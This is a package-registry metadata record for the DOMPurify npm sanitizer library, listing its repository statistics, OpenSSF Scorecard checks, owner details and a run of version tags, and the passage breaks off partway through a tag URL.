{"id":1627018,"name":"dompurify","ecosystem":"npm","description":"DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. It runs as JavaScript and works in all modern browsers, as well as in Node.js (via jsdom). DOMPurify is written by security people who have vast background in web a","homepage":"https://github.com/cure53/DOMPurify","licenses":"(MPL-2.0 OR Apache-2.0)","normalized_licenses":["MPL-2.0","Apache-2.0"],"repository_url":"https://github.com/cure53/DOMPurify","keywords_array":["dom","xss","html","svg","mathml","security","secure","sanitizer","sanitize","filter","purify"],"namespace":null,"versions_count":150,"first_release_published_at":"2014-05-21T18:34:38.970Z","latest_release_published_at":"2026-08-03T14:16:00.210Z","latest_release_number":"3.4.13","last_synced_at":"2026-08-16T04:23:45.315Z","created_at":"2022-04-09T12:25:15.948Z","updated_at":"2026-08-16T04:23:45.315Z","registry_url":"https://www.npmjs.com/package/dompurify","install_command":"npm install dompurify","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"3.4.13"},"contentPolicy":null},"repo_metadata":{"id":14220784,"uuid":"16927692","full_name":"cure53/DOMPurify","owner":"cure53","description":"DOMPurify - a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. DOMPurify works with a secure default, but offers a lot of configurability and hooks. Demo:","archived":false,"fork":false,"pushed_at":"2026-08-09T07:26:13.000Z","size":13447,"stargazers_count":17287,"open_issues_count":0,"forks_count":860,"subscribers_count":146,"default_branch":"main","last_synced_at":"2026-08-09T12:24:46.486Z","etag":null,"topics":["cross-site-scripting","dom","dompurify","html","javascript","mathml","prevent-xss-attacks","sanitizer","security","svg","xss"],"latest_commit_sha":null,"homepage":"https://cure53.de/purify","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/cure53.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":"CODEOWNERS","security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":"cure53"}},"created_at":"2014-02-17T21:48:14.000Z","updated_at":"2026-08-09T07:26:23.000Z","dependencies_parsed_at":"2026-08-09T10:25:53.736Z","dependency_job_id":null,"html_url":"https://github.com/cure53/DOMPurify","commit_stats":{"total_commits":1660,"total_committers":116,"mean_commits":"14.310344827586206","dds":0.4126506024096386,"last_synced_commit":"2cf6e2510699261a0004e3431c4e8a0bbd65b230"},"previous_names":[],"tags_count":150,"template":false,"template_full_name":null,"purl":"pkg:github/cure53/DOMPurify","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/cure53","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/sbom","scorecard":{"id":312823,"data":{"date":"2025-08-11","repo":{"name":"github.com/cure53/DOMPurify","commit":"c5371f363ba5e51cddaa1f9ca84b4df6aeeffc5e"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.4,"checks":[{"name":"Code-Review","score":1,"reason":"Found 2/16 approved changesets -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 22 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/build-and-test.yml:1","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Pinned-Dependencies","score":3,"reason":"dependency not pinned by hash detected -- score normalized to 3","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-and-test.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/cure53/DOMPurify/build-and-test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-and-test.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/cure53/DOMPurify/build-and-test.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build-and-test.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/cure53/DOMPurify/build-and-test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/cure53/DOMPurify/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/cure53/DOMPurify/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/cure53/DOMPurify/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:62: update your workflow using https://app.stepsecurity.io/secureworkflow/cure53/DOMPurify/codeql-analysis.yml/main?enable=pin","Info:   0 out of   6 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'","Warn: branch protection not enabled for branch '3.x'","Warn: branch protection not enabled for branch '2.x'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":9,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 16 commits out of 17 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":6,"reason":"4 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-grv7-fg5c-xmjg","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-952p-6rrq-rcjv","Warn: Project is vulnerable to: GHSA-c2qf-rxjj-qqgw"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T23:29:41.745Z","repository_id":14220784,"created_at":"2025-08-17T23:29:41.745Z","updated_at":"2025-08-17T23:29:41.745Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36461708,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-09T02:00:06.528Z","response_time":130,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"cure53","name":"Cure53","uuid":"6709482","kind":"user","description":"And there is fire where we walk.","email":"mario@cure53.de","website":"https://cure53.de","location":"Berlin","twitter":null,"company":"Fine penetration tests for fine websites","icon_url":"https://avatars.githubusercontent.com/u/6709482?u=4149eb5ebf4e59175c31bbc618805bce4d0535dc\u0026v=4","repositories_count":21,"last_synced_at":"2026-08-08T10:39:31.698Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/cure53","funding_links":["https://github.com/sponsors/cure53"],"total_stars":25026,"followers":2761,"following":0,"created_at":"2022-11-02T16:25:42.714Z","updated_at":"2026-08-08T10:39:32.001Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/cure53","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/cure53/repositories"},"tags":[{"name":"3.4.13","sha":"3067f774676975de12306effd6db6ad7a9a8c17f","kind":"tag","published_at":"2026-08-03T14:06:12.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.13","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.13/manifests"},{"name":"3.4.12","sha":"a9ca1e537422319a557a9a2aa61f003b23b4a197","kind":"tag","published_at":"2026-07-11T11:55:48.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.12","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.12/manifests"},{"name":"3.4.11","sha":"0cae5187403132f96a6d357649e4b15633fc210a","kind":"tag","published_at":"2026-06-17T10:05:33.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.11","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.11/manifests"},{"name":"3.4.10","sha":"6ee5716f8336989753611beeca364957c0eb0c3e","kind":"tag","published_at":"2026-06-12T11:56:52.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.10","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.10/manifests"},{"name":"3.4.9","sha":"52102472d46035857c52df19e44285f8a1e102fc","kind":"tag","published_at":"2026-06-10T08:36:30.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.9","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.9/manifests"},{"name":"3.4.8","sha":"bcdd8285412dc9c4c149652aed2d712e790d6ccf","kind":"tag","published_at":"2026-06-03T11:57:49.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.8","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.8/manifests"},{"name":"3.4.7","sha":"ca30f070c360df162a3e3848e80e6fd3c9e74bff","kind":"tag","published_at":"2026-05-27T11:28:34.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.7/manifests"},{"name":"3.4.6","sha":"bb7739e5bccec7e1ab3dae3f3e42d02db3acaaae","kind":"tag","published_at":"2026-05-26T10:37:50.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.6/manifests"},{"name":"3.4.5","sha":"011b0c78f2a0f57ee54f5fcccb697a46ca6e63ea","kind":"tag","published_at":"2026-05-18T07:37:52.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.5/manifests"},{"name":"3.4.4","sha":"5817ad969c15e67dfcd6cb37248d6e9c1553e7c3","kind":"tag","published_at":"2026-05-17T10:27:25.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.4/manifests"},{"name":"3.4.3","sha":"520edb0371a9638f9b51f1798051299a250c686b","kind":"tag","published_at":"2026-05-13T11:00:36.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.3/manifests"},{"name":"3.4.2","sha":"6f67fd396a7b8c64294343999fe607ca1f5299c0","kind":"tag","published_at":"2026-04-30T12:27:35.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.2/manifests"},{"name":"3.4.1","sha":"5b0cdbbf52331e854c0a2de875b1a3790ecec2b8","kind":"tag","published_at":"2026-04-21T16:29:33.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.1/manifests"},{"name":"3.4.0","sha":"5b16e0b892e82b1779d62b9928b43c4c4ff290b9","kind":"commit","published_at":"2026-04-14T06:54:45.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.0/manifests"},{"name":"3.3.3","sha":"8bcbf73ae7eb56e7b4f1300b66cf543342c7ee27","kind":"commit","published_at":"2026-03-11T07:55:00.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.3.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.3.3/manifests"},{"name":"2.5.9","sha":"0951ca486477278dde23a9ffc5702383ee06104c","kind":"commit","published_at":"2026-03-05T11:40:21.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.5.9","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.5.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.5.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.9/manifests"},{"name":"3.3.2","sha":"5e56114cb24079ce52dbc51f76e494b77afa5153","kind":"commit","published_at":"2026-03-05T10:49:38.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.3.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.3.2/manifests"},{"name":"3.3.1","sha":"6fc446a589ab3d1d72ae2a5b71167ba38dbd3096","kind":"commit","published_at":"2025-12-08T14:23:46.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.3.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.3.1/manifests"},{"name":"3.3.0","sha":"36d1fbcc4e3bf035a7306d86df841a4865d018c7","kind":"commit","published_at":"2025-10-13T14:01:31.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.3.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.3.0/manifests"},{"name":"3.2.7","sha":"eaa0bdb26a1d0164af587d9059b98269008faece","kind":"commit","published_at":"2025-09-17T11:29:01.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.2.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.7/manifests"},{"name":"3.2.6","sha":"32f765e632ff34eebf5e08128ae1ff8f0d0bbe7a","kind":"commit","published_at":"2025-05-19T15:16:10.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.2.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.6/manifests"},{"name":"3.2.5","sha":"78060045e4d3ec0d199eb61bbeca02d8268ac310","kind":"commit","published_at":"2025-04-03T12:54:02.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.2.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.5/manifests"},{"name":"3.2.4","sha":"ec29e65f3675077c1a78e6edcab97f797f004a2e","kind":"commit","published_at":"2025-01-30T07:23:45.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.2.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.4/manifests"},{"name":"2.5.8","sha":"ee992fc4880215757c9c09e9638bb95e1dc24533","kind":"commit","published_at":"2024-12-09T08:41:34.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.5.8","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.8/manifests"},{"name":"3.2.3","sha":"f1106aae5a861d1096cb57ad9a6f518b4279ea8c","kind":"commit","published_at":"2024-12-09T08:32:09.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.2.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.3/manifests"},{"name":"3.2.2","sha":"3990b7e925285fa7fc9d63150e91d8e448215737","kind":"commit","published_at":"2024-11-29T10:40:23.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.2.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.2/manifests"},{"name":"3.2.1","sha":"7f154b33e3f15e9cff658dfbe1816ccd4a850b84","kind":"commit","published_at":"2024-11-20T07:34:47.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.2.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.1/manifests"},{"name":"3.2.0","sha":"f0d750730b2595722bde07bbbee1ee65c79943aa","kind":"commit","published_at":"2024-11-11T14:30:21.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz